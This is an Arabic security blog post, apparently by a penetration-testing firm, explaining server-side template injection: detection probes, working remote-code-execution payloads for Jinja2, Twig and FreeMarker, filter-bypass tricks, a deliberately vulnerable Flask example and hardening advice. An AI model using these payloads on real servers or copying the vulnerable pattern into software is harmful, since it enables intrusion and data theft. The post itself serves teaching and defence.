Nouvelle réglementation de cybersécurité 2026 en vigueur au Maroc. Obtenir un audit de conformité gratuit →
← العودة للمدونة
أمن الويب 2026-10-06 ⏱️ 13 دقيقة

حقن القوالب من جانب الخادم (SSTI): الاكتشاف، الاستغلال، والوصول إلى RCE

تعتمد تطبيقات الويب الحديثة بشكل كبير على محركات القوالب (Template Engines) لإنشاء صفحات HTML ديناميكية عبر دمج القوالب الهيكلية الثابتة مع بيانات وقت التشغيل المتغيرة. تتيح تقنيات مثل Jinja2 في بيئة بايثون، وTwig في PHP، وApache FreeMarker في أنظمة جافا، للمطورين بناء واجهات معقدة بسرعة فائقة مع الحفاظ على فصل منطق العمل عن العرض المرئي. ومع ذلك، عندما يقع المطورون في خطأ دمج مدخلات المستخدمين مباشرة في نصوص القوالب بدلاً من تمريرها كمتغيرات بيانات معزولة، ينشأ أحد أخطر التهديدات في الأمن السيبراني الحديث: ثغرة حقن القوالب من جانب الخادم (Server-Side Template Injection - SSTI).

على عكس ثغرات البرمجة النصية عبر المواقع (XSS) التي تُنفذ داخل متصفح الضحية في جانب العميل، يتم تنفيذ هجمات SSTI مباشرة على خادم الويب وفي بيئة تشغيل التطبيق بالصلاحيات الممنوحة لخدمة الخادم. وبالتالي، فإن ما قد يبدو للوهلة الأولى مجرد خلل في عرض النصوص سرعان ما يتطور إلى تنفيذ أوامر عشوائية عن بُعد (Remote Code Execution - RCE)، واختراق كامل لنظام الملفات، وسرقة مفاتيح التشفير، والتحرك أفقيًا داخل الشبكة الداخلية للمؤسسة.

في هذا الدليل التقني المتقدم، يستعرض فريق أبحاث الأمن الهجومي في كاي فورا (Cayvora) ميكانيكية ثغرات SSTI: شجرة قرار الاكتشاف المعتمدة من PortSwigger، وطرق استغلال المحركات الشهيرة (Jinja2 وTwig وFreeMarker)، وتقنيات تجاوز فلاتر الحماية الصارمة، ومقارنة معمارية بين الأكواد المصابة والآمنة، بالإضافة إلى الاستراتيجيات الهندسية الموصى بها للدفاع الشامل.

1. ما هي ثغرة حقن القوالب من جانب الخادم (SSTI)؟

لفهم طبيعة ثغرة SSTI بدقة، يجب أولاً الاطلاع على دورة عمل محرك القوالب في الحالات الطبيعية. يتعامل محرك القوالب مع عنصرين منفصلين تماماً:

  • قالب العرض الثابت (Static Template): ملف مكتوب بواسطة المطورين يحتوي على وسوم HTML وهيكل الصفحة، متضمناً وسوم تعبيرية ديناميكية مثل {{ ... }} أو ${ ... }.
  • سياق البيانات (Data Context): كائن أو قاموس متغيرات يُمرر أثناء التشغيل، يحتوي على القيم الحقيقية للبيانات كاسم المستخدم، أو التاريخ، أو سجلات قواعد البيانات.

في بنية العمل الآمنة، يقوم المحرك بتحليل القالب الثابت وبناء شجرة بنية تجريدية (AST)، ثم تقييم المتغيرات المذكورة استناداً إلى قاموس البيانات مع تطبيق التعقيم والترميز التلقائي لضمان عدم تنفيذ أي كود برمجي غير مصرح به.

تحدث الثغرة الكارثية عندما يقوم المبرمج بربط أو دمج (Concatenation) مدخلات المستخدم مباشرة داخل نص القالب قبل إرساله للمحرك لتفسيره وتجميعه، بدلاً من تمريره كمتغير مستقل ضمن سياق البيانات. عندئذ، يتعامل المحرك مع مدخلات المستخدم كجزء لا يتجزأ من شيفرة القالب البرمجية ذاتها، ويقوم بتنفيذ الأوامر والوسوم المحقونة على الخادم.

يوضح الكود التوضيحي التالي الفارق المعماري الجوهري:

// النمط الآمن: عزل مدخلات المستخدم تماماً داخل سياق البيانات
render("profile.html", {"username": user_input})

// النمط المصاب: دمج مدخلات المستخدم كشيفرة داخل نص القالب
render("Hello " + user_input + "! Welcome back.", {})

في النموذج الثاني، إذا أدخل المستخدم وسم تعبير مثل {{ 7 * 7 }}، سيتعامل الخادم معه كتعليمات برمجية قابلة للتنفيذ المباشر بدلاً من مجرد نص عادي.

2. شجرة قرار الاكتشاف (منهجية PortSwigger)

يتطلب اكتشاف ثغرات SSTI أثناء تقييمات الصندوق الأسود والصندوق الرمادي اتباع نهج تحليلي منتظم لتجنب النتائج الإيجابية الخاطئة وتحديد محرك القوالب بدقة متناهية. تعتمد المنهجية التي ابتكرها الباحث جيمس كيتل (James Kettle) على إرسال تعبيرات حسابية عبر محددات مختلفة ومراقبة ردود فعل الخادم التمايزية.

تبدأ الخطوة الاستكشافية بحقن المحددات الحسابية الشائعة:

${7*7}
{{7*7}}
<%= 7*7 %>
#{7*7}
*{7*7}

المسار أ: تقييم التعبير إلى الناتج 49

إذا أظهرت استجابة الخادم الرقم 49 بدلاً من النص الأصلي المحقون، فإن ذلك يؤكد وجود معالجة برمجية حية داخل محرك القوالب. ننتقل بعد ذلك إلى التمييز بين البيئات:

  • إذا نجح التعبير ${7*7} في إنتاج 49: يدل هذا عادةً على محركات تتبع أنظمة جافا أو PHP مثل Smarty أو Apache FreeMarker أو MVEL أو SpEL.
    • يتم اختبار ${"z".join("ab")} أو ${.version}. فإذا كان FreeMarker هو المستخدم، سيُظهر ${.version} رقم الإصدار بدقة.
    • يتم اختبار ${smarty.version} لكشف إصدار محرك Smarty في تطبيقات PHP.
  • إذا نجح التعبير {{7*7}} في إنتاج 49: نقوم باختبار عملية ضرب النصوص لتحديد لغة التشغيل بين بايثون وPHP:
    {{7*'7'}}
    • إذا كانت النتيجة 49: فهذا يعني أن المحرك قام بتحويل النص '7' إلى رقم وضربه رقمياً، وهذا السلوك هو السمة المميزة لمحرك Twig (PHP).
    • إذا كانت النتيجة 7777777: فهذا يعني أن المحرك تعامل مع '7' كنص وقام بتكراره سبع مرات وفقاً لسلوك بايثون، مما يؤكد استخدام Jinja2 (Python) أو Django.

التمييز بين Jinja2 وDjango

على الرغم من تشابه الأقواس المعقوفة المزدوجة بينهما، فإن محرك Django القياسي مصمم بقيود أمنية صارمة تمنع تنفيذ الدوال العشوائية أو استدعاء التوابع ذات المعاملات أو الوصول إلى الخصائص الداخلية. عند إدخال {{ ''.__class__ }} في بيئة Django القياسية، سيتجاهلها المحرك أو يُرجع نصاً فارغاً، في حين يكشف محرك Jinja2 الهيكل الكائني الكامل للغة بايثون.

الحمولة الاستكشافية الشاملة (Polyglot Probe)

في الأنظمة المعقدة التي تتكون من خدمات ميكروية متعددة، يستخدم مختبرو الاختراق حمولة هجينة واحدة لإثارة أخطاء في المفسرات المختلفة:

${{<%[%'"}}%\

يكشف فحص رسائل الخطأ 500 أو تفاصيل التتبع (Stack Trace) اسم المحرك المستهدف وموقعه البرمجي فوراً.

3. استغلال محرك Jinja2 (Python) والوصول إلى RCE

يعد Jinja2 محرك القوالب الأساسي لأطر عمل بايثون مثل Flask وQuart. وبفضل الطبيعة التأملية (Introspection) لنموذج كائنات بايثون، يستطيع المهاجم الانتقال عبر شجرة الوراثة بدءاً من كائن نصي فارغ وصولاً إلى استدعاء أوامر النظام التشغيلي.

التنقل في شجرة كائنات بايثون انطلاقاً من نص فارغ

في لغة بايثون، ترث كافة الفئات في النهاية من الفئة الأساسية الجذرية object. ومن خلال فحص السمة __class__ لنص فارغ ""، ثم استعراض ترتيب دقة التوابع عبر __mro__، ثم استدعاء التابع __subclasses__()، يمكن الوصول إلى مصفوفة تحتوي على كافة الفئات المحملة في الذاكرة الحالية للتطبيق:

# استعراض هرمية الوراثة في كائنات بايثون:
"".__class__.__mro__[1].__subclasses__()

في بايثون 3، يُرجع التعبير "".__class__.__mro__[1] الفئة الأساسية <class 'object'>. واستدعاء .__subclasses__() عليها يعرض قائمة تضم مئات الفئات الفعالة، ومن بينها فئات إدارة العمليات التنفيذية والشبكات والملفات.

تحديد أدوات تشغيل العمليات الفرعية في النظام

من بين الفئات الفرعية المتاحة، تبرز فئات توفر تنفيذ الأوامر مباشرة أو بشكل غير مباشر:

  • subprocess.Popen: الواجهة القياسية لإطلاق العمليات الفرعية في نظام التشغيل.
  • os._wrap_close: والتي يحتوي قاموسها الداخلي __init__.__globals__ على مرجع مباشر لمكتبة os.
  • warnings.catch_warnings: والتي توفر وصولاً إلى فضاء الأسماء المدمج.

إذا كانت فئة subprocess.Popen تقع في الفهرس رقم 133 في مصفوفة الفئات الفرعية، يمكن للمهاجم تنفيذ أمر id مباشرة:

{{ "".__class__.__mro__[1].__subclasses__()[133]('id',shell=True,stdout=-1).communicate()[0].strip() }}

ولأن الفهرس الرقمي قد يتغير بتغير المكتبات المحملة على السيرفر، تعتمد الحمولات المتقدمة على البحث الديناميكي باستخدام List Comprehension:

{{ [c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'Popen'][0]('cat /etc/passwd', shell=True, stdout=-1).communicate()[0] }}

تجاوز الفلاتر: استخدام request.args لتفادي قيود الرموز

غالباً ما تقوم جدران الحماية لتطبيقات الويب (WAF) بحظر علامات التنصيص أو الأقواس المعقوفة أو الشرطة السفلية. لتفادي هذا الحظر، يمكن استدعاء الأوامر البرمجية عبر معاملات الطلب الخارجي (Query Parameters) دون الحاجة لكتابة علامات تنصيص داخل القالب:

{{ lipsum.__globals__['os'].popen(request.args.cmd).read() }}

يرسل المهاجم طلبه على النحو التالي:

GET /render?template={{lipsum.__globals__['os'].popen(request.args.cmd).read()}}&cmd=whoami

وفي حال حظر علامات التنصيص والشرطة السفلية تماماً، يمكن استخدام مصفاة attr المدمجة في Jinja2 بالكامل دون أي رمز محظور:

{{ lipsum|attr(request.args.g)|attr(request.args.o)|attr(request.args.p)(request.args.c)|attr(request.args.r)() }}

وبتمرير المعاملات ?g=__globals__&o=get&p=popen&c=id&r=read يتم تجاوز كافة الفلاتر السطحية بنجاح.

4. استغلال محرك Twig (PHP)

يعد Twig محرك القوالب الأبرز في بيئة PHP، حيث يعتمد عليه إطار عمل Symfony والعديد من أنظمة إدارة المحتوى مثل Drupal وCraft CMS. وقد طور المطورون قيوداً متعددة عبر إصدارات Twig، لكن آليات الهجوم تطورت بالمقابل.

الإصدارات القديمة (Twig 1.x)

في إصدارات Twig 1.x، كان كائن البيئة متاحاً للمطور عبر المتغير _self، مما أتاح تسجيل دوال PHP مخصصة لمعالجة المصافي غير المعرفة:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

عند محاولة استدعاء المصفاة غير الموجودة id، يقوم المحرك باستدعاء دالة exec("id") وتنفيذها على الخادم.

الإصدارات الحديثة (Twig 2.x و 3.x) عبر مصفاة Map

تم إغلاق الوصول إلى _self.env في الإصدارات الأحدث، ولكن استطاع الباحثون استغلال مصافي المصفوفات القياسية مثل map وfilter وsort التي تقبل تمرير دوال نداء (Callables):

{{['id']|map('system')|join}}

تقوم مصفاة map في Twig بتمرير كل عنصر في المصفوفة ['id'] كمعامل لدالة system() في PHP، ثم إرجاع ناتج تنفيذ الأمر ودمجه داخل الصفحة النهائية.

ومن الأمثلة الفعالة أيضاً:

{{['cat /etc/passwd']|filter('system')}}
{{['id', '']|sort('passthru')}}

تعتبر هذه الأوامر جزءاً من الدوال المعيارية المعتمدة لمحرك Twig، مما يجعل اكتشافها بواسطة أدوات التحليل الثابت التقليدية أمراً بالغ الصعوبة.

5. استغلال محرك Apache FreeMarker (Java)

يستخدم محرك Apache FreeMarker على نطاق واسع في تطبيقات جافا المؤسسية وأنظمة Spring Boot. يتضمن FreeMarker ميزات وأدوات مساعدة قوية، بعضها يقود إلى تنفيذ الأوامر على نظام التشغيل فوراً.

حمولة الفئة المساعدة Execute

أشهر حمولات FreeMarker وأكثرها فاعلية تستدعي فئة التنفيذ المدمجة freemarker.template.utility.Execute:

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

يقوم الأمر ?new() بإنشاء نسخة من الفئة Execute، والتي تنفذ بدورها Runtime.getRuntime().exec() وتلتقط المخرجات لعرضها مباشرة داخل الصفحة.

المسارات البديلة: ObjectConstructor والانعكاس في جافا

في حال تقييد فئة Execute من قبل مسؤولي النظام، يتم الانتقال إلى فئات مساعدة أخرى:

<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
${ ob("java.lang.ProcessBuilder","uname","-a").start() }

وحتى لو تم تعطيل خاصية new_builtin_enabled بالكامل، يمكن للمختبر استكشاف كائنات Spring المحقونة في النموذج (مثل RequestContext) واستغلال ميزة الانعكاس (Java Reflection) للوصول إلى أدوات تحميل الفئات وتنفيذ التعليمات البرمجية.

6. مقارنة بين الكود المصاب والآمن: تطبيق بايثون / Flask

لتوضيح كيفية تسلل هذه الثغرة إلى المشاريع البرمجية وطريقة استئصالها الصحيحة، نلقي نظرة على هذا المثال العملي:

النموذج المصاب (Vulnerable)

# مصاب: دمج نصوص المدخلات مباشرة داخل القالب
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/hello')
def hello():
    name = request.args.get('name', 'World')
    # يقوم المطور بدمج مدخلات المستخدم مباشرة داخل نص القالب:
    template = f"<h1>مرحباً، {name}!</h1><p>أهلاً بك في بوابة كاي فورا.</p>"
    return render_template_string(template)  # ثغرة SSTI خطيرة!

عند إرسال المعامل ?name={{7*7}}، يقوم التابع render_template_string بتجميع النص كقالب كامل وتقييم العملية الحسابية، مما يفتح الباب لاختراق الخادم.

النموذج الآمن (Secure)

# آمن: تمرير مدخلات المستخدم كمتغيرات بيانات ضمن السياق
from flask import Flask, request, render_template

app = Flask(__name__)

@app.route('/hello')
def hello():
    name = request.args.get('name', 'World')
    # القالب ثابت في ملف مستقل؛ المدخلات تمرر كبيانات فقط:
    return render_template('hello.html', name=name)  # آمن ويتم ترميزه تلقائياً

وداخل ملف القالب الثابت templates/hello.html:

<!DOCTYPE html>
<html dir="rtl" lang="ar">
<body>
    <h1>مرحباً، {{ name }}!</h1>
    <p>أهلاً بك في بوابة كاي فورا.</p>
</body>
</html>

في الحل الآمن، يتعامل المحرك مع القيمة "{{7*7}}" كنص عادي خام مشفر، ويعرضها للمستخدم كما هي دون أي تجميع أو تنفيذ برمجي على الخادم.

7. الاستراتيجيات الدفاعية والتوصيات الأمنية

تتطلب الحماية الفعالة ضد هجمات حقن القوالب اتباع مبادئ هندسية صارمة، حيث تثبت فلاتر التحقق القائمة على القوائم السوداء فشلها الدائم أمام الحيل التعبيرية لمحرّكات القوالب الحديثة.

1. الفصل الحاسم بين الكود والبيانات

يجب الامتناع تماماً عن دمج بيانات المستخدمين في نصوص القوالب قبل معالجتها. احرص دائماً على تخزين القوالب في ملفات ثابتة ومحمية، ومرر المتغيرات عبر كائنات السياق المخصصة لذلك.

2. إدراك محدودية بيئات العزل البرمجي (Sandboxes)

توفر بعض المحركات بيئات معزولة (مثل SandboxedEnvironment في Jinja2). ورغم أنها تمنع الوصول المباشر للسمات التي تبدأ بشرطة سفلية، فإن أبحاث الأمن السيبراني تكتشف باستمرار ثغرات لتجاوز هذه البيئات المعزولة (مثل CVE-2019-8341 وCVE-2024-22195). لذا فإن بيئة العزل تعتبر طبقة دفاع إضافية وليست خط الدفاع الأول.

3. تطبيق مبدأ الامتيازات الأقل (Least Privilege)

يجب تشغيل خادم الويب وحاويات التطبيقات بأدنى قدر من الصلاحيات:

  • تشغيل الحاويات بنظام ملفات للقراءة فقط (Read-only root filesystem).
  • إنشاء حساب نظام مخصص غير جذري (Non-root user) دون صلاحيات sudo وبدون شل تفاعلي (/usr/sbin/nologin).
  • تقييد الاتصالات الشبكية الصادرة من الخادم لمنع تحميل حمولات ضارة أو فتح جلسات اتصال عكسي (Reverse Shells).

4. تحصين محركات FreeMarker في بيئات جافا

في مشاريع جافا، قم بحظر استدعاء الفئات العشوائية عبر ضبط إعدادات المحرك برمجياً:

Configuration cfg = new Configuration(Configuration.VERSION_2_3_32);
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
// أو إيقاف إنشاء الكائنات الجديدة كلياً:
cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);

يمنع استخدام ALLOWS_NOTHING_RESOLVER استدعاء وسم ?new() بشكل قاطع في كافة صفحات التطبيق.

خاتمة

تمثل ثغرة حقن القوالب من جانب الخادم (SSTI) تهديداً بالغ الخطورة يهدد سيادة البنية التحتية للمؤسسات. إن إتاحة الفرصة لمعالجة مدخلات المستخدم كتعليمات برمجية تحول أبسط حقول الإدخال إلى منصة انطلاق للسيطرة التامة على الخادم. تكمن الحماية الحقيقية في الالتزام الصارم بمبادئ البرمجة الآمنة، وعزل البيانات، وإجراء اختبارات الاختراق الدورية لمراجعة سلامة التطبيقات وتكاملها.

احمِ تطبيقات الويب الخاصة بمؤسستك من هجمات الاختراق عن بُعد

يقوم خبراء اختبار الاختراق في كاي فورا بتقييم تطبيقاتكم البرمجية ومحركات القوالب ضد أعقد ثغرات الحقن، مع تقديم توصيات وحلول معمارية دقيقة قبل وصول المهاجمين إليها.

✉️ طلب تدقيق أمني لتطبيقات الويب

مقالات ذات صلة